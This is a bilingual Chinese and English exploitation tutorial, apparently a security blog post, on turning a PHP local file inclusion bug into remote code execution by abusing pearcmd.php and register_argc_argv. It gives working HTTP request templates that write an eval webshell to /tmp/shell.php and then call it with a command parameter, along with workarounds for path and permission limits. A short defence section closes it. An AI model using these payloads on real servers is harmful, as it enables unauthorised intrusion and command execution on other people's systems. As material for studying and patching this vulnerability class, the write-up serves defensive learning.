pearcmd.php的利用

在php7.3及以前,pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定**--with-pear**才会安装


1. 核心原理 (The Core Concept)

利用场景:当你拥有一个 LFI 漏洞,但无法上传文件,且目标服务器(通常是 Docker 容器)安装了 PHP 的 PEAR 扩展管理工具。 攻击逻辑

  1. LFI 包含:通过漏洞包含服务器上的 pearcmd.php 脚本。
  2. CLI 欺骗:利用 PHP 的 register_argc_argv 特性,通过 HTTP URL 的查询字符串(Query String)向 pearcmd.php 传递命令行参数
  3. 文件写入:调用 PEAR 的 config-create 指令,将恶意 PHP 代码作为“配置参数”写入到服务器的可写目录(如 /tmp),生成 Webshell。

2. 前置条件 (Prerequisites)

攻击成功的“三要素”:

  1. LFI 漏洞存在:能够包含任意路径的文件。
  2. register_argc_argv = On
    • 位置php.ini
    • 作用:开启后,PHP 会将 URL 中的 ?key=value 后的内容(Query String)通过空格(+)分割,赋值给全局变量 $_SERVER['argv']
    • 现状:Docker 官方 PHP 镜像默认开启此选项。
  3. pearcmd.php 存在
    • 常见路径
      • /usr/local/lib/php/pearcmd.php (Docker 标准路径)
      • /usr/share/php/PEAR/pearcmd.php
    • 验证方法:检查 phpinfo() 中的 include_path

3. 攻击流程与 Payload 详解

第一步:构造恶意 Payload

我们需要构造一个 URL,既能触发 LFI,又能传递参数给 pearcmd

标准 Payload 模板

GET /vulnerable.php?file=../../usr/local/lib/php/pearcmd.php&%2bconfig-create%2b/&/<?php+@eval($_GET['cmd']);?>%2b/tmp/shell.php HTTP/1.1

Payload 逐段解析

URL片段作用解析
file=...pearcmd.php触发 LFI:Web 应用加载并运行 pearcmd 脚本。
&分隔符:区分 LFI 参数和命令行注入参数(视情况而定)。
%2b (即 +)空格替代:在 argv 解析中,+ 被转换为空格,用于分隔命令行参数。
config-create参数 1 (Command):告诉 PEAR 执行“创建默认配置文件”的命令。
/&/<?php...?>参数 2 (Value):通常是配置文件的根路径。我们注入 PHP 代码。PEAR 会把这个字符串原样写入文件。
/tmp/shell.php参数 3 (File Path):指定配置文件的保存路径(必须可写)。

第二步:服务器内部执行逻辑

当请求发送后,服务器内部发生了什么?

解析 URL:PHP 引擎看到 register_argc_argv=On,将 Query String 解析为数组:

$_SERVER['argv'] = [
    0 => 'pearcmd.php',    // 脚本名
    1 => 'config-create',  // 命令
    2 => '/&/<?php @eval($_GET[cmd]);?>', // 内容
    3 => '/tmp/shell.php'  // 目标文件
];

加载脚本:LFI 漏洞包含并运行 pearcmd.php

执行命令pearcmd.php 读取 $_SERVER['argv'],认为自己在命令行下运行。

写入文件:执行 config-create,将参数 2 的内容写入参数 3 指定的文件。

  • 结果/tmp/shell.php 被创建,内容包含 <?php @eval(...) ?>

第三步:触发 RCE

文件创建成功后,再次利用 LFI 包含这个新生成的文件:

GET /vulnerable.php?file=../../../../tmp/shell.php&cmd=id

结果:执行系统命令 id

4. 关键限制与绕过 (Troubleshooting)

这是最容易踩坑的地方,请重点记录:

  • 限制 1:等号 (=) 的干扰
    • 问题:如果 URL Query String 中包含 =(例如 ?file=...&param=value),PHP 某些版本可能不会生成 $argv,或者 Web 应用可能会处理冲突。
    • 解决
      • 尽量让 payload 位于 Query String 的最前面。
      • 如果 LFI 点必须用 GET 参数(如 ?page=...),这种利用可能会失效。
  • 限制 2:路径猜测
    • 问题:不知道 pearcmd.php 在哪。
    • 解决:利用目录扫描工具或读取 phpinfo()
  • 限制 3:权限问题
    • 问题:Web 用户(www-data)无法写入 /tmp 或被 open_basedir 限制。
    • 解决:尝试写入 /var/tmp/ 或 Web 目录下的 uploads/ 文件夹。

5. 防御建议 (Defense)

  • 关闭开关:在 php.ini 中设置 register_argc_argv = Off(最彻底的修复)。
  • 卸载 PEAR:生产环境容器通常不需要 PEAR,构建镜像时应移除。
  • 输入验证:严格过滤 LFI 参数,禁止 .. 和绝对路径。

Exploiting pearcmd.php

In PHP 7.3 and earlier, PEAR is installed by default; in 7.4 and later, it requires specifying --with-pear during PHP compilation for installation.


1. Core Principle (The Core Concept)

Exploitation Scenario: When you have a Local File Inclusion (LFI) vulnerability, cannot upload files, and the target server (usually a Docker container) has the PHP PEAR extension management tool installed. Attack Logic:

  1. LFI Inclusion: Include the pearcmd.php script on the server via the vulnerability.
  2. CLI Spoofing: Utilize PHP’s register_argc_argv feature to pass command-line arguments to pearcmd.php through the HTTP URL’s query string.
  3. File Write: Invoke PEAR’s config-create directive to write malicious PHP code as a “configuration parameter” to a writable directory on the server (e.g., /tmp), generating a webshell.

2. Prerequisites (Prerequisites)

The “three elements” for a successful attack:

  1. LFI Vulnerability Exists: Ability to include files from arbitrary paths.
  2. register_argc_argv = On:
    • Location: php.ini.
    • Function: When enabled, PHP will parse the content after ?key=value in the URL (Query String), splitting it by spaces (+), and assign it to the global variable $_SERVER['argv'].
    • Current Status: Docker’s official PHP images enable this option by default.
  3. pearcmd.php Exists:
    • Common Paths:
      • /usr/local/lib/php/pearcmd.php (Docker standard path)
      • /usr/share/php/PEAR/pearcmd.php
    • Verification Method: Check the include_path in phpinfo().

3. Attack Flow and Payload Breakdown

Step 1: Crafting the Malicious Payload

We need to construct a URL that can both trigger LFI and pass parameters to pearcmd.

Standard Payload Template:

GET /vulnerable.php?file=../../usr/local/lib/php/pearcmd.php&%2bconfig-create%2b/&/<?php+@eval($_GET['cmd']);?>%2b/tmp/shell.php HTTP/1.1

Payload Section-by-Section Analysis:

URL SegmentFunction Analysis
file=...pearcmd.phpTrigger LFI: The web application loads and runs the pearcmd script.
&Separator: Differentiates LFI parameters from command-line injection parameters (depending on context).
%2b (i.e., +)Space Replacement: In argv parsing, + is converted to a space, used to separate command-line arguments.
config-createParameter 1 (Command): Tells PEAR to execute the “create default configuration file” command.
/&/<?php...?>Parameter 2 (Value): Typically the root path for the configuration file. We inject PHP code. PEAR will write this string verbatim to the file.
/tmp/shell.phpParameter 3 (File Path): Specifies the save path for the configuration file (must be writable).

Step 2: Server-Side Execution Logic

What happens internally on the server after the request is sent?

Parse URL: The PHP engine sees register_argc_argv=On and parses the Query String into an array:

$_SERVER['argv'] = [
    0 => 'pearcmd.php',    // Script name
    1 => 'config-create',  // Command
    2 => '/&/<?php @eval($_GET[cmd]);?>', // Content
    3 => '/tmp/shell.php'  // Target file
];

Load Script: The LFI vulnerability includes and runs pearcmd.php.

Execute Command: pearcmd.php reads $_SERVER['argv'] and believes it is running from the command line.

Write File: It executes config-create, writing the content from Parameter 2 to the file specified in Parameter 3.

  • Result: /tmp/shell.php is created, containing <?php @eval(...) ?>.

Step 3: Triggering RCE

After the file is successfully created, use LFI again to include this newly generated file:

GET /vulnerable.php?file=../../../../tmp/shell.php&cmd=id

Result: Executes the system command id.

4. Key Limitations & Bypasses (Troubleshooting)

This is the section most prone to pitfalls, so focus on these notes:

  • Limitation 1: Interference from Equals Signs (=)
    • Issue: If the URL Query String contains = (e.g., ?file=...&param=value), certain PHP versions may not generate $argv, or the web application might handle conflicts.
    • Solution:
      • Try to place the payload at the beginning of the Query String.
      • If the LFI point must use a GET parameter (e.g., ?page=...), this exploit might fail.
  • Limitation 2: Path Guessing
    • Issue: The location of pearcmd.php is unknown.
    • Solution: Use directory scanning tools or read phpinfo().
  • Limitation 3: Permission Issues
    • Issue: The web user (www-data) cannot write to /tmp or is restricted by open_basedir.
    • Solution: Try writing to /var/tmp/ or the uploads/ folder within the web directory.

5. Defense Recommendations

  • Disable the Switch: Set register_argc_argv = Off in php.ini (the most thorough fix).
  • Uninstall PEAR: Production environment containers typically do not require PEAR; it should be removed when building the image.
  • Input Validation: Strictly filter LFI parameters, prohibiting .. and absolute paths.